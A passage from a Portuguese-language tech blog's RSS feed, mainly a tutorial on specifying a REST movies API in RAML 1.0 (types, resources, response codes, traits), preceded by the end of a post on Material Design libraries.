ser uma boa pedida. Para a galera do &lt;em&gt;Angular&lt;/em&gt;, existe o &lt;a href=&quot;https://material.angular.io/&quot;&gt;&lt;em&gt;Angular Material&lt;/em&gt;&lt;/a&gt;
que cumpre bem o seu papel. O &lt;em&gt;Vue&lt;/em&gt; não fica de fora com o &lt;a href=&quot;https://vuematerial.github.io/&quot;&gt;&lt;em&gt;Vue Material&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://material.io/&quot;&gt;&lt;em&gt;Material Design.io&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://getmdl.io/&quot;&gt;&lt;em&gt;Material Design Lite&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://materializecss.com/&quot;&gt;&lt;em&gt;Materialize&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.myway.com.br/material-design-o-que-e-e-sua-aplicacao/&quot;&gt;&lt;em&gt;MyWay&lt;/em&gt; - &lt;em&gt;Material Design&lt;/em&gt;: O que é e sua aplicação&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/Material_Design&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt; - &lt;em&gt;Material Design&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Ramilificando as suas APIs]]></title><description><![CDATA[Você já tem a sua API! Ela é REST,
performa muito bem, e todos os seus aplicativos estão
conversando com a mesma. Vem uma oportunidade de…]]></description><link>https://klauslaube.com.br/2017/01/31/ramilificando-as-suas-apis.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/01/31/ramilificando-as-suas-apis.html</guid><pubDate>Tue, 31 Jan 2017 21:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Você já tem a sua &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre APIs&quot;&gt;&lt;em&gt;API&lt;/em&gt;&lt;/a&gt;! Ela é &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;REST&lt;/em&gt;&lt;/a&gt;,
performa muito bem, e todos os seus aplicativos estão
conversando com a mesma. Vem uma oportunidade de negócio de abrí-la para consumo
de parceiros. Agora não basta só a técnica perfeita, você precisa de especificação, documentações,
exemplos de uso e validadores para garantir que os contratos da sua &lt;em&gt;API&lt;/em&gt; não sofram alterações drásticas,
deixando seu cliente na mão.&lt;/p&gt;
&lt;p&gt;Essa é a realidade da &lt;a href=&quot;http://loadsmart.com&quot; title=&quot;Book a truck with Loadsmart&quot;&gt;&lt;em&gt;Loadsmart&lt;/em&gt;&lt;/a&gt; no momento da
publicação desse &lt;em&gt;post&lt;/em&gt;. Lá, optamos por seguir os mesmos passos do &lt;a href=&quot;http://spotify.com&quot; title=&quot;Você já sabe o que é isso :)&quot;&gt;&lt;em&gt;Spotify&lt;/em&gt;&lt;/a&gt;
e utilizar o &lt;em&gt;RAML&lt;/em&gt; para descrever as nossas &lt;em&gt;APIs&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;RAML é quase YAML&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;RAML&lt;/em&gt; (RESTful API Modeling Language) é uma maneira simples
de descrever/projetar suas &lt;em&gt;APIs&lt;/em&gt;. Através de uma linguagem concisa, baseada
em YAML, você é capaz de escrever especificações que podem ser usadas como
documentação, ferramenta de &lt;em&gt;build&lt;/em&gt; e de testes automatizados.&lt;/p&gt;
&lt;p&gt;Ao invés de tentar cultivar a motivação para a utilização do &lt;em&gt;RAML&lt;/em&gt;, vou descrever
de forma prática os principais aspectos do padrão. Para tanto, já começo
recomendando a instalação do &lt;a href=&quot;http://apiworkbench.com/&quot; title=&quot;IDE for designing APIs&quot;&gt;&lt;em&gt;API Workbench&lt;/em&gt;&lt;/a&gt;,
um excelente &lt;em&gt;plugin&lt;/em&gt; para o &lt;em&gt;Atom&lt;/em&gt; que facilita (e muito) a escrita de documentos &lt;em&gt;RAML&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Como começar?&lt;/h2&gt;
&lt;p&gt;Vamos voltar ao nosso &quot;mini IMDB&quot;, exemplo utilizado em &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Veja os posts sobre REST&quot;&gt;alguns &lt;em&gt;posts&lt;/em&gt;&lt;/a&gt; aqui do &lt;em&gt;blog&lt;/em&gt;.
Os principais &lt;em&gt;endpoints&lt;/em&gt; que temos são:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;GET /movies&lt;/code&gt;: Listagem de filmes;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;POST /movies&lt;/code&gt;: Adição de um filme;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;GET /movies/{id}&lt;/code&gt;: Detalhes de um filme;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;PUT /movies/{id}&lt;/code&gt;: Atualização de um filme;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;DELETE /movies/{id}&lt;/code&gt;: Remoção de um filme.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Podemos começar criando um arquivo &lt;code class=&quot;language-text&quot;&gt;api.raml&lt;/code&gt; com o seguinte conteúdo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;#%RAML 1.0&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movies API&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No momento desse artigo, o &lt;em&gt;RAML&lt;/em&gt; possui duas especificações ativas: a &lt;code class=&quot;language-text&quot;&gt;0.8&lt;/code&gt; e a &lt;code class=&quot;language-text&quot;&gt;1.0&lt;/code&gt;. Dependendo
das ferramentas que você for utilizar posteriormente, talvez seja interessante optar pela especificação &lt;code class=&quot;language-text&quot;&gt;0.8&lt;/code&gt;.
Nesse exemplo utilizaremos a &lt;code class=&quot;language-text&quot;&gt;1.0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vamos continuar descrevendo a nossa &lt;em&gt;API&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;#%RAML 1.0&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movies API
&lt;span class=&quot;token key atrule&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1
&lt;span class=&quot;token key atrule&quot;&gt;baseUri&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//api.movies.com/&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;version&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;mediaType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; application/json&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Setamos a versão da &lt;em&gt;API&lt;/em&gt; como &lt;code class=&quot;language-text&quot;&gt;v1&lt;/code&gt;, atendendo pelo endereço &lt;code class=&quot;language-text&quot;&gt;https://api.movies.com/v1&lt;/code&gt;. Trabalharemos
com objetos &lt;em&gt;JSON&lt;/em&gt;. Caso a &lt;em&gt;API&lt;/em&gt; necessite trabalhar com mais de um tipo (&lt;em&gt;XML&lt;/em&gt;, por exemplo),
é possível declará-lo no &lt;code class=&quot;language-text&quot;&gt;mediaType&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;mediaType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;application/json&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; application/xml&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Descrevendo os dados&lt;/h2&gt;
&lt;p&gt;Se você optar pela versão &lt;code class=&quot;language-text&quot;&gt;0.8&lt;/code&gt; do padrão, a palavra &lt;code class=&quot;language-text&quot;&gt;schemas&lt;/code&gt; aparecerá com certa frequência durante
a construção do documento. Com a &lt;code class=&quot;language-text&quot;&gt;1.0&lt;/code&gt;, a comunidade depreciou o termo em prol da palavra-chave &lt;code class=&quot;language-text&quot;&gt;types&lt;/code&gt;, e é com
ela que descreveremos o tipo &lt;code class=&quot;language-text&quot;&gt;Movie&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;types&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;Movie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
      &lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
      &lt;span class=&quot;token key atrule&quot;&gt;description?&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Movie&lt;/code&gt; possui três propriedades do tipo &lt;code class=&quot;language-text&quot;&gt;string&lt;/code&gt;: &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;title&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;. O &lt;code class=&quot;language-text&quot;&gt;?&lt;/code&gt; em &lt;code class=&quot;language-text&quot;&gt;description?&lt;/code&gt;
indica que essa última é uma propriedade opcional (ao contrário de &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;title&lt;/code&gt; que são obrigatórias).&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;RAML&lt;/em&gt; suporta uma série de tipos &lt;em&gt;built-in&lt;/em&gt;, para saber mais, leia sobre &lt;a href=&quot;https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md/#defining-types&quot;&gt;definição de tipos&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Descrevendo os endpoints&lt;/h2&gt;
&lt;p&gt;Agora que temos um tipo definido, podemos partir para a descrição dos nossos &lt;em&gt;endpoints&lt;/em&gt;. Em &lt;em&gt;RAML&lt;/em&gt;,
a semântica correta é chamarmos um &lt;em&gt;endpoint&lt;/em&gt; de &lt;em&gt;Resource&lt;/em&gt;. Vamos iniciar pelo &lt;code class=&quot;language-text&quot;&gt;/movies&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;/movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; A set of movies.

  &lt;span class=&quot;token key atrule&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Get a list of movies.
    &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movie&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Add a new movie to the set.
    &lt;span class=&quot;token key atrule&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movie
    &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;201&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Returns the new movie.
        &lt;span class=&quot;token key atrule&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movie&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Começamos ao criar um bloco &lt;code class=&quot;language-text&quot;&gt;/movies&lt;/code&gt;. Nele, além de adicionarmos uma descrição através da propriedade
&lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;, também deixamos explícito a possibilidade de enviarmos dois métodos: &lt;code class=&quot;language-text&quot;&gt;get&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;post&lt;/code&gt;.
Em &lt;code class=&quot;language-text&quot;&gt;get&lt;/code&gt;, podemos ter como resposta um &lt;em&gt;status code&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;200&lt;/code&gt; e uma lista de &lt;code class=&quot;language-text&quot;&gt;Movie&lt;/code&gt; (por isso o sufixo &lt;code class=&quot;language-text&quot;&gt;[]&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Já em &lt;code class=&quot;language-text&quot;&gt;post&lt;/code&gt;, além de deixar claro que retornaremos o objeto recém criado, apontamos que a resposta
será um &lt;code class=&quot;language-text&quot;&gt;201&lt;/code&gt; com um único &lt;code class=&quot;language-text&quot;&gt;Movie&lt;/code&gt;. Note que nesse caso descrevemos que o &lt;code class=&quot;language-text&quot;&gt;post&lt;/code&gt; também possui um tipo,
através da palavra-chave &lt;code class=&quot;language-text&quot;&gt;body&lt;/code&gt;. Isso quer dizer que, ao fazermos &lt;code class=&quot;language-text&quot;&gt;POST /movies/&lt;/code&gt;, precisamos
passar um objeto que atenda as especificações do tipo &lt;code class=&quot;language-text&quot;&gt;Movie&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e838b044ee5537cedc7d18d8a7c0d732/c08c5/raml-vogons.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 67.70833333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEAv/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAGJ0FEZEB//xAAbEAACAwADAAAAAAAAAAAAAAAAAQIDERITIv/aAAgBAQABBQKu2bc46YVv12NHI//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABsQAAEEAwAAAAAAAAAAAAAAAAEAAhAhERIx/9oACAEBAAY/AmgmsrZq7FR//8QAGxABAAMAAwEAAAAAAAAAAAAAAQARITFhgaH/2gAIAQEAAT8hd2jh1EqJvhF3vzKzmRDXDa6i3dn/2gAMAwEAAgADAAAAEOw//8QAFREBAQAAAAAAAAAAAAAAAAAAEEH/2gAIAQMBAT8Qp//EABYRAQEBAAAAAAAAAAAAAAAAAAABIf/aAAgBAgEBPxCtf//EABwQAQEAAQUBAAAAAAAAAAAAAAERACExQVFhgf/aAAgBAQABPxC5soAgnUnOTIhCbjymNW75RhhahJ8ccHBddLiolM1e8//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;RAML pode parecer poesia Vogon, mas não entre em pânico! (fundividedattention)&amp;quot;&quot;
        title=&quot;RAML pode parecer poesia Vogon, mas não entre em pânico! (fundividedattention)&quot;
        src=&quot;/static/e838b044ee5537cedc7d18d8a7c0d732/c08c5/raml-vogons.jpg&quot;
        srcset=&quot;/static/e838b044ee5537cedc7d18d8a7c0d732/7809d/raml-vogons.jpg 192w,
/static/e838b044ee5537cedc7d18d8a7c0d732/4ecad/raml-vogons.jpg 384w,
/static/e838b044ee5537cedc7d18d8a7c0d732/c08c5/raml-vogons.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;RAML pode parecer poesia Vogon, mas não entre em pânico! (fundividedattention)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Caso a sua regra de negócio vá além da criação de um elemento, é possível descrevê-la
também. Por exemplo, vamos imaginar que exista a necessidade de verificar se o filme já existe no
banco de dados:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

      &lt;span class=&quot;token key atrule&quot;&gt;201&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Returns the new movie.
        &lt;span class=&quot;token key atrule&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movie
      &lt;span class=&quot;token key atrule&quot;&gt;409&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; The movie already exists in our database.
        &lt;span class=&quot;token key atrule&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note que o padrão &lt;em&gt;RAML&lt;/em&gt; é flexível. Nesse caso não criamos um tipo &lt;code class=&quot;language-text&quot;&gt;Error&lt;/code&gt;, apenas descrevemos o corpo
da resposta através das palavras-chave &lt;code class=&quot;language-text&quot;&gt;body&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;properties&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vamos finalizar descrevendo os dois métodos restantes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

  /&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;uriParameters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; The Movie identifier.
        &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string

     &lt;span class=&quot;token key atrule&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
       &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Gets a specific movie.
       &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
         &lt;span class=&quot;token key atrule&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
           &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Returns the specific movie.
           &lt;span class=&quot;token key atrule&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movie

    &lt;span class=&quot;token key atrule&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movie
      &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Updates an already created movie.
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Returns the updated movie.
          &lt;span class=&quot;token key atrule&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movie

    &lt;span class=&quot;token key atrule&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deletes the movie.
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;204&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Confirms the deletion.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dentro de &lt;code class=&quot;language-text&quot;&gt;/movies&lt;/code&gt;, criamos um novo bloco chamado &lt;code class=&quot;language-text&quot;&gt;/{id}&lt;/code&gt;. Através da propriedade &lt;code class=&quot;language-text&quot;&gt;uriParameters&lt;/code&gt; deixamos
claro que &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; é na verdade uma &lt;code class=&quot;language-text&quot;&gt;string&lt;/code&gt; (no nosso caso, estamos usando um &lt;code class=&quot;language-text&quot;&gt;uuid&lt;/code&gt;). Além disso, descrevemos
os métodos &lt;code class=&quot;language-text&quot;&gt;get&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;put&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;delete&lt;/code&gt; para &lt;code class=&quot;language-text&quot;&gt;/movies/{id}&lt;/code&gt;, que não diferem tanto assim dos demais explicados
anteriormente.&lt;/p&gt;
&lt;h2&gt;Descrevendo sem se repetir&lt;/h2&gt;
&lt;p&gt;No nosso &lt;a href=&quot;/2017/01/06/construindo-apis-em-django-com-restless.html&quot; title=&quot;Construindo APIs em Django com Restless&quot;&gt;exemplo utilizando &lt;em&gt;Restless&lt;/em&gt;&lt;/a&gt;,
ao fazer um &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;PUT&lt;/code&gt; com dados inválidos, retornamos um &lt;code class=&quot;language-text&quot;&gt;BadRequest&lt;/code&gt;. Podemos especificar esse
comportamento para o recurso &lt;code class=&quot;language-text&quot;&gt;POST movies/&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;PUT movies/{id}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Logo após o bloco &lt;code class=&quot;language-text&quot;&gt;types&lt;/code&gt;, vamos adicionar um novo bloco chamado &lt;code class=&quot;language-text&quot;&gt;traits&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;mediaType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; application/json

&lt;span class=&quot;token key atrule&quot;&gt;types&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;traits&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;dataValidation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; A BadRequest happens when data validation fails.
